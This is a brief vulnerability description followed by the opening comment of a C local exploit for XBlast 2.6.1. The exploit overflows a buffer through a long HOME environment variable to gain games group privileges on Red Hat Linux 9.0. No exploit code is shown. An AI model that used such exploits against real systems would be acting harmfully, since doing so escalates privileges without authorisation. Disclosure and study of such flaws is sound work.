XBlast is contains a locally exploitable buffer overflow vulnerability due to insufficient bounds checking of data supplied via the HOME environment variable. Successful exploitation would allow a local user to execute code with a gid of games.

/*  0x333xblast =>  xblast 2.6.1 local exploit
 *
 *	xblast could be overflowed by passing a long $HOME
 *	env. For more info read advisory @ :
 *
 *	http://www.0x333.org/advisories/outsider-003.txt
 *
 *	* note * :
 *	exploit tested against xblast-2.6.beta-1.i386.rpm
 *	under Red Hat Linux 9.0. xblaste is not install
 *	by default +s.
